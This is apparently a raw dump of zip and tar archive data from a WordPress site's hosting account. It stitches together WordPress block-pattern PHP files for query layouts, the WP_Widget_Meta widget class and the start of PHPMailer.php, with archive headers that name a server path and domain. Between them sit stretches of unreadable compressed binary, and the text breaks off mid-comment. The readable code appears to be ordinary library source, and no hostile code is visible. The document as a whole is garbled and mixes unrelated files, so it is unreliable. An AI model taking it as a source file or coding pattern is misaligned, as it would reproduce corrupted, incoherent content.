					<!-- wp:post-template -->
					<!-- wp:columns {"align":"wide"} -->
					<div class="wp-block-columns alignwide"><!-- wp:column {"width":"66.66%"} -->
					<div class="wp-block-column" style="flex-basis:66.66%"><!-- wp:post-featured-image {"isLink":true} /--></div>
					<!-- /wp:column -->
					<!-- wp:column {"width":"33.33%"} -->
					<div class="wp-block-column" style="flex-basis:33.33%"><!-- wp:post-title {"isLink":true} /-->
					<!-- wp:post-excerpt /--></div>
					<!-- /wp:column --></div>
					<!-- /wp:columns -->
					<!-- /wp:post-template -->
					</div>
					<!-- /wp:query -->',
);
PK�Vd[;P���query-large-title-posts.phpnu�[���<?php
/**
 * Query: Large title.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Large title', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:group {"align":"full","style":{"spacing":{"padding":{"top":"100px","right":"100px","bottom":"100px","left":"100px"}},"color":{"text":"#ffffff","background":"#000000"}}} -->
					<div class="wp-block-group alignfull has-text-color has-background" style="background-color:#000000;color:#ffffff;padding-top:100px;padding-right:100px;padding-bottom:100px;padding-left:100px"><!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} -->
					<div class="wp-block-query"><!-- wp:post-template -->
					<!-- wp:separator {"customColor":"#ffffff","align":"wide","className":"is-style-wide"} -->
					<hr class="wp-block-separator alignwide has-text-color has-background is-style-wide" style="background-color:#ffffff;color:#ffffff"/>
					<!-- /wp:separator -->

					<!-- wp:columns {"verticalAlignment":"center","align":"wide"} -->
					<div class="wp-block-columns alignwide are-vertically-aligned-center"><!-- wp:column {"verticalAlignment":"center","width":"20%"} -->
					<div class="wp-block-column is-vertically-aligned-center" style="flex-basis:20%"><!-- wp:post-date {"style":{"color":{"text":"#ffffff"}},"fontSize":"extra-small"} /--></div>
					<!-- /wp:column -->

					<!-- wp:column {"verticalAlignment":"center","width":"80%"} -->
					<div class="wp-block-column is-vertically-aligned-center" style="flex-basis:80%"><!-- wp:post-title {"isLink":true,"style":{"typography":{"fontSize":"72px","lineHeight":"1.1"},"color":{"text":"#ffffff","link":"#ffffff"}}} /--></div>
					<!-- /wp:column --></div>
					<!-- /wp:columns -->
					<!-- /wp:post-template --></div>
					<!-- /wp:query --></div>
					<!-- /wp:group -->',
);
PK�Vd[���query-offset-posts.phpnu�[���<?php
/**
 * Query: Offset.
 *
 * @package WordPress
 */

return array(
	'title'      => _x( 'Offset', 'Block pattern title' ),
	'blockTypes' => array( 'core/query' ),
	'categories' => array( 'query' ),
	'content'    => '<!-- wp:group {"style":{"spacing":{"padding":{"top":"30px","right":"30px","bottom":"30px","left":"30px"}}},"layout":{"inherit":false}} -->
					<div class="wp-block-group" style="padding-top:30px;padding-right:30px;padding-bottom:30px;padding-left:30px"><!-- wp:columns -->
					<div class="wp-block-columns"><!-- wp:column {"width":"50%"} -->
					<div class="wp-block-column" style="flex-basis:50%"><!-- wp:query {"query":{"perPage":2,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"list"}} -->
					<div class="wp-block-query"><!-- wp:post-template -->
					<!-- wp:post-featured-image /-->
					<!-- wp:post-title /-->
					<!-- wp:post-date /-->
					<!-- wp:spacer {"height":200} -->
					<div style="height:200px" aria-hidden="true" class="wp-block-spacer"></div>
					<!-- /wp:spacer -->
					<!-- /wp:post-template --></div>
					<!-- /wp:query --></div>
					<!-- /wp:column -->
					<!-- wp:column {"width":"50%"} -->
					<div class="wp-block-column" style="flex-basis:50%"><!-- wp:query {"query":{"perPage":2,"pages":0,"offset":2,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"list"}} -->
					<div class="wp-block-query"><!-- wp:post-template -->
					<!-- wp:spacer {"height":200} -->
					<div style="height:200px" aria-hidden="true" class="wp-block-spacer"></div>
					<!-- /wp:spacer -->
					<!-- wp:post-featured-image /-->
					<!-- wp:post-title /-->
					<!-- wp:post-date /-->
					<!-- /wp:post-template --></div>
					<!-- /wp:query --></div>
					<!-- /wp:column --></div>
					<!-- /wp:columns --></div>
					<!-- /wp:group -->',
);
PK�Vd[�&����(social-links-shared-background-color.phpnu�[���PK�Vd[g��L�x�x	error_lognu�[���PK�Vd[J�O��9}query-small-posts.phpnu�[���PK�Vd[D������query-grid-posts.phpnu�[���PK�Vd[r��((&�query-standard-posts.phpnu�[���PK�Vd[�,����query-medium-posts.phpnu�[���PK�Vd[;P�����query-large-title-posts.phpnu�[���PK�Vd[����query-offset-posts.phpnu�[���PK�!�14338/class-wp-widget-meta.php.tar000064400000013000151024420100012441 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php000064400000007773151024173450027511 0ustar00<?php
/**
 * Widget API: WP_Widget_Meta class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Meta widget.
 *
 * Displays log in/out, RSS feed links, etc.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Meta extends WP_Widget {

	/**
	 * Sets up a new Meta widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_meta',
			'description'                 => __( 'Login, RSS, &amp; WordPress.org links.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'meta', __( 'Meta' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Meta widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Meta widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Meta' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
		}
		?>

		<ul>
			<?php wp_register(); ?>
			<li><?php wp_loginout(); ?></li>
			<li><a href="<?php echo esc_url( get_bloginfo( 'rss2_url' ) ); ?>"><?php _e( 'Entries feed' ); ?></a></li>
			<li><a href="<?php echo esc_url( get_bloginfo( 'comments_rss2_url' ) ); ?>"><?php _e( 'Comments feed' ); ?></a></li>

			<?php
			/**
			 * Filters the "WordPress.org" list item HTML in the Meta widget.
			 *
			 * @since 3.6.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @param string $html     Default HTML for the WordPress.org list item.
			 * @param array  $instance Array of settings for the current widget.
			 */
			echo apply_filters(
				'widget_meta_poweredby',
				sprintf(
					'<li><a href="%1$s">%2$s</a></li>',
					esc_url( __( 'https://wordpress.org/' ) ),
					__( 'WordPress.org' )
				),
				$instance
			);

			wp_meta();
			?>

		</ul>

		<?php
		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Meta widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Meta widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>
		<?php
	}
}
14338/bookmark-template.php.php.tar.gz000064400000006435151024420100013344 0ustar00��ks��1_�_qQ��P$���Ld);�d&�;��|h4ȑ<�����X���{� H�n���#������e�Y"G�\7���i'���TN�i�.֫b=�g�z����n8͒���$N�j=��h�e׉ȯOJ���(�p�\}>cx>}��3���_��?8}v:~�����O�g�Ƨl���?x�E)r �{�>�?}�?>d��WF��Q&�f�N�8K6�r�.�B�8e���d{p�+1�ƕ��|�w�����]�����R$�5e)g,[��uɲ9L�}���(�c���<w,�i��8��,��*�%��3v+�&�y)sA�nd��ʌ��cy#Y	��nX�u���4>#���N!
���}�%K3v���R�$!J<d�f�@6 �[\DY�J����q/�6��YҘfC�@��5��jnψؐ��Q��hI�3�T(u�&w�v��#'�^��l�fp�� �����_@4����t8��b:`�<��:7F��Ĩ�<�*����V�$Tȡ��u���ϱ��
��y��S
5t��6�X'2-��|QޭА˷@O�c8�m�^��8�i)�92�kd%���JnA�J�f����|	"Z�u��-�5�R��o�B�Q�K9kU��<C��M�n�ٱ�k��;�qA�`%��:�`��F�JL��3�3�m�j�|�4��$	��E �3�;�R;C� �a��@�\�7%2���J�3�G)�Kg�_���◍Tt��BE��uRAqF���9譈g�9E:]�!�R,��KHSP�t��cI�N,�*�,�N�ۂYg��Agr���e����۩ kfY��k�oj8�Μyq�=���<���^���P�T��$�
u�%K/�
LF:g��>$���&��(g���o8qy~����i�זt�ԛp�Z�h���.�Tܓ,q�yN�d��^9c,<@=W���x�������Z@ڮ��Al��؈�4�B���v��{��P�gl4b_)�dt�&�~I����-���b�AeYTߴ" �؇PB��t~r�K�0���}��蜑9��=���ϙ�Y�]�Y����Gm�L�U��er��9 ����UǦ��4�Εw\o70.n��衡3���X��2��t�c�f=�M��Ay���l��,.�&r��I\���eM�zW�e\*	4�h�;h��ب�:"s."��1���ǼR����g=R�����=-�=z}0z�5xZ��-ˋ��#��!���ݫ��(ig����jc�l��"����B�QFZ3B.���H_���O�>f=࿏^=W��O�E_�spa	\�^�����˯_����%�k�O�.����+�Ϗ82mN�ve��{�>�}�E��L��!�G�2	x���q~f�3�dH65�`.�YM\�H��xZ ��Y�

�ہ�h9��=Vꈐ/�E���&���
\�(�^�-s9�tm��
��{��8��R�w��u�TH��鲂ѷ�v��C���wY���}���ɂ����''
�U�J���X3����o�2�����P��o$[	̗ݤ+�RB���`���Z$J!��M$G��*75���=�j��#�U�U�\�D|���<�s�0�k��Y�x�Ņ.�P	:m�g*���Poʨ�=-d�W�F���5Ȱ�Ͳ�6rw�UF��V�~��56�1��A�n`P�޻�另gX�D�e>	�0�M�r��-S�V=)�$�֜gJe��gUwlV;T���T2{?z���;�|���9En��45@��*Q2"�P��~��p����o�D�BX Z�Р�e�*�2N>�ۊkZFZ�*�Ď��Ƕ��+)W�~�Lܭx��f5 ����Z@��Ϊ���]�s��3�O��з����{w�-�䮺��2�@&�]�9E�M7���3���z����UU��ff�:��7�Œ��y��D�����˯�mE��w4;�c'qKp���3�#��S2<�d<9픹���E�$⤐hr��p�~���5#1��y�%㯳���.$����j�cEw�ui��2��(No�"�(�Q��Z�1TPgz���&���:z��-[⻫�o�������qbsI��c���IKe0=��׻��4�������RB�A��p��Iϓ�+e�c��n��u���&z��dYj	�w��]�����g��k���-�^�`�*%�p�&iݩJ���[��H��M��>_>�؅�׍�n�o�7�HЖS���$����LIiUa�KI�{���p�����E��U�]�ʃj�`(����1%W0������?"�p�5�u��VȨ�E�ք-��%o�$����fz�<�g�Gp�#�d�L���ӊ��n�
�}�ijul��ƫ�vE�pNi��xCi>E)�ߋ_{�}
�o�R0[f��ߋ�6
�_H?L����Z7Y<{k$�O�L71��r��@�b�7��!�M7�8����`ƶ¹�V�7SxR3A�kD}�D�ì�`��'�P�U0�ZPY�p_XsV������j\L�E��Tݖ�]�R�ұ�s?v;�:z�M��@��yM
�:�����l�
18.�rs$
�9����w7ً�q�ZE��W�۾z�䛕�f��}��&�i:܈��G�Xa�6͖e�"
ӅvNp����d�xZZ����F;�8�~1���sލ�'�di���**�3};��l��T+i�Wf��lWݾ���߈	v_�63g�}�,�k�۵�e.��2�
U�i�w�;�%�W���
'�;kx4b�+ej3�ф5�⺷@#t{��ՉS����_�P=��^��50�� Z#����(�٩�7��f�g$CNCr�vUC�Y�t-�Q��H��
�JL���nʹҬ��x0��M���l�\���3
 �+@^�5�4�s-�'�q��VIԺ��z>�"A�c	���pz�<�p�Ѥr��Y��l�o��f8�q������2�����dl��E�)�/�d ���?�ۉ�֪
�E7����L|��t*mۄ��uA�z�7^{���m��c��@<��A�(ꙫ�Ifå���[�NE��M)���v�1�S�=,u0Jc'@�v`��b��� �
&����}��(��B_e�z�c�tᡑݬj�b����a\�/Ø�Yu}o��tX�p͈ظ1aT4��T��=�ffj�� ؉�]9�?���%>>>��a<*G814338/PHPMailer.zip000064400000711113151024420100007524 0ustar00PKWd[Z�]ս���
PHPMailer.phpnu�[���<?php

/**
 * PHPMailer - PHP email creation and transport class.
 * PHP Version 5.5.
 *
 * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer - PHP email creation and transport class.
 *
 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author Brent R. Matzelle (original founder)
 */
class PHPMailer
{
    const CHARSET_ASCII = 'us-ascii';
    const CHARSET_ISO88591 = 'iso-8859-1';
    const CHARSET_UTF8 = 'utf-8';

    const CONTENT_TYPE_PLAINTEXT = 'text/plain';
    const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar';
    const CONTENT_TYPE_TEXT_HTML = 'text/html';
    const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative';
    const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed';
    const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related';

    const ENCODING_7BIT = '7bit';
    const ENCODING_8BIT = '8bit';
    const ENCODING_BASE64 = 'base64';
    const ENCODING_BINARY = 'binary';
    const ENCODING_QUOTED_PRINTABLE = 'quoted-printable';

    const ENCRYPTION_STARTTLS = 'tls';
    const ENCRYPTION_SMTPS = 'ssl';

    const ICAL_METHOD_REQUEST = 'REQUEST';
    const ICAL_METHOD_PUBLISH = 'PUBLISH';
    const ICAL_METHOD_REPLY = 'REPLY';
    const ICAL_METHOD_ADD = 'ADD';
    const ICAL_METHOD_CANCEL = 'CANCEL';
    const ICAL_METHOD_REFRESH = 'REFRESH';
    const ICAL_METHOD_COUNTER = 'COUNTER';
    const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     *
     * @var int|null
     */
    public $Priority;

    /**
     * The character set of the message.
     *
     * @var string
     */
    public $CharSet = self::CHARSET_ISO88591;

    /**
     * The MIME Content-type of the message.
     *
     * @var string
     */
    public $ContentType = self::CONTENT_TYPE_PLAINTEXT;

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     *
     * @var string
     */
    public $Encoding = self::ENCODING_8BIT;

    /**
     * Holds the most recent mailer error message.
     *
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     *
     * @var string
     */
    public $From = '';

    /**
     * The From name of the message.
     *
     * @var string
     */
    public $FromName = '';

    /**
     * The envelope sender of the message.
     * This will usually be turned into a Return-Path header by the receiver,
     * and is the address that bounces will be sent to.
     * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP.
     *
     * @var string
     */
    public $Sender = '';

    /**
     * The Subject of the message.
     *
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     *
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     *
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator.
     *
     * @see https://kigkonsult.se/iCalcreator/
     *
     * @var string
     */
    public $Ical = '';

    /**
     * Value-array of "method" in Contenttype header "text/calendar"
     *
     * @var string[]
     */
    protected static $IcalMethods = [
        self::ICAL_METHOD_REQUEST,
        self::ICAL_METHOD_PUBLISH,
        self::ICAL_METHOD_REPLY,
        self::ICAL_METHOD_ADD,
        self::ICAL_METHOD_CANCEL,
        self::ICAL_METHOD_REFRESH,
        self::ICAL_METHOD_COUNTER,
        self::ICAL_METHOD_DECLINECOUNTER,
    ];

    /**
     * The complete compiled MIME message body.
     *
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     *
     * @var string
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     *
     * @var string
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     *
     * @see static::STD_LINE_LENGTH
     *
     * @var int
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     *
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     *
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     *
     * @var bool
     */
    public $UseSendmailOptions = true;

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     *
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     *
     * @see PHPMailer::$Helo
     *
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     *
     * @see https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4
     *
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     *
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     *
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     *
     * @var int
     */
    public $Port = 25;

    /**
     * The SMTP HELO/EHLO name used for the SMTP connection.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     *
     * @see PHPMailer::$Hostname
     *
     * @var string
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS.
     *
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     *
     * @var bool
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     *
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     *
     * @var bool
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     *
     * @var array
     */
    public $SMTPOptions = [];

    /**
     * SMTP username.
     *
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     *
     * @var string
     */
    public $Password = '';

    /**
     * SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2.
     * If not specified, the first one from that list that the server supports will be selected.
     *
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP SMTPXClient command attributes
     *
     * @var array
     */
    protected $SMTPXClient = [];

    /**
     * An implementation of the PHPMailer OAuthTokenProvider interface.
     *
     * @var OAuthTokenProvider
     */
    protected $oauth;

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     *
     * @var int
     */
    public $Timeout = 300;

    /**
     * Comma separated list of DSN notifications
     * 'NEVER' under no circumstances a DSN must be returned to the sender.
     *         If you use NEVER all other notifications will be ignored.
     * 'SUCCESS' will notify you when your mail has arrived at its destination.
     * 'FAILURE' will arrive if an error occurred during delivery.
     * 'DELAY'   will notify you if there is an unusual delay in delivery, but the actual
     *           delivery's outcome (success or failure) is not yet decided.
     *
     * @see https://www.rfc-editor.org/rfc/rfc3461.html#section-4.1 for more information about NOTIFY
     */
    public $dsn = '';

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * @see SMTP::DEBUG_OFF: No output
     * @see SMTP::DEBUG_CLIENT: Client messages
     * @see SMTP::DEBUG_SERVER: Client and server messages
     * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status
     * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed
     *
     * @see SMTP::$do_debug
     *
     * @var int
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise.
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     *
     * ```php
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * ```
     *
     * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug`
     * level output is used:
     *
     * ```php
     * $mail->Debugoutput = new myPsr3Logger;
     * ```
     *
     * @see SMTP::$Debugoutput
     *
     * @var string|callable|\Psr\Log\LoggerInterface
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep the SMTP connection open after each message.
     * If this is set to true then the connection will remain open after a send,
     * and closing the connection will require an explicit call to smtpClose().
     * It's a good idea to use this if you are sending multiple messages as it reduces overhead.
     * See the mailing list example for how to use it.
     *
     * @var bool
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     *
     * @var bool
     *
     * @deprecated 6.0.0 PHPMailer isn't a mailing list manager!
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     *
     * @var array
     */
    protected $SingleToArray = [];

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     *
     * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @see https://www.postfix.org/VERP_README.html Postfix VERP info
     *
     * @var bool
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     *
     * @var bool
     */
    public $AllowEmpty = false;

    /**
     * DKIM selector.
     *
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     *
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     *
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     *
     * @example 'example.com'
     *
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM Copy header field values for diagnostic use.
     *
     * @var bool
     */
    public $DKIM_copyHeaderFields = true;

    /**
     * DKIM Extra signing headers.
     *
     * @example ['List-Unsubscribe', 'List-Help']
     *
     * @var array
     */
    public $DKIM_extraHeaders = [];

    /**
     * DKIM private key file path.
     *
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     *
     * If set, takes precedence over `$DKIM_private`.
     *
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: https://www.php.net/is_callable
     *
     * Parameters:
     *   bool $result           result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     *   string  $extra         extra information of possible use
     *                          "smtp_transaction_id' => last smtp transaction id
     *
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use.
     *
     * @var string|null
     */
    public $XMailer = '';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option.
     *
     * @see PHPMailer::validateAddress()
     *
     * @var string|callable
     */
    public static $validator = 'php';

    /**
     * An instance of the SMTP sender class.
     *
     * @var SMTP
     */
    protected $smtp;

    /**
     * The array of 'to' names and addresses.
     *
     * @var array
     */
    protected $to = [];

    /**
     * The array of 'cc' names and addresses.
     *
     * @var array
     */
    protected $cc = [];

    /**
     * The array of 'bcc' names and addresses.
     *
     * @var array
     */
    protected $bcc = [];

    /**
     * The array of reply-to names and addresses.
     *
     * @var array
     */
    protected $ReplyTo = [];

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc.
     *
     * @see PHPMailer::$to
     * @see PHPMailer::$cc
     * @see PHPMailer::$bcc
     *
     * @var array
     */
    protected $all_recipients = [];

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     *
     * @see PHPMailer::$to
     * @see PHPMailer::$cc
     * @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     *
     * @var array
     */
    protected $RecipientsQueue = [];

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     *
     * @see PHPMailer::$ReplyTo
     *
     * @var array
     */
    protected $ReplyToQueue = [];

    /**
     * The array of attachments.
     *
     * @var array
     */
    protected $attachment = [];

    /**
     * The array of custom headers.
     *
     * @var array
     */
    protected $CustomHeader = [];

    /**
     * The most recent Message-ID (including angular brackets).
     *
     * @var string
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     *
     * @var string
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     *
     * @var array
     */
    protected $boundary = [];

    /**
     * The array of available text strings for the current language.
     *
     * @var array
     */
    protected $language = [];

    /**
     * The number of errors encountered.
     *
     * @var int
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     *
     * @var string
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     *
     * @var string
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     *
     * @var string
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     *
     * @var string
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     *
     * @var bool
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     *
     * @var string
     */
    protected $uniqueid = '';

    /**
     * The PHPMailer Version number.
     *
     * @var string
     */
    const VERSION = '6.9.3';

    /**
     * Error severity: message only, continue processing.
     *
     * @var int
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     *
     * @var int
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     *
     * @var int
     */
    const STOP_CRITICAL = 2;

    /**
     * The SMTP standard CRLF line break.
     * If you want to change line break format, change static::$LE, not this.
     */
    const CRLF = "\r\n";

    /**
     * "Folding White Space" a white space string used for line folding.
     */
    const FWS = ' ';

    /**
     * SMTP RFC standard line ending; Carriage Return, Line Feed.
     *
     * @var string
     */
    protected static $LE = self::CRLF;

    /**
     * The maximum line length supported by mail().
     *
     * Background: mail() will sometimes corrupt messages
     * with headers longer than 65 chars, see #818.
     *
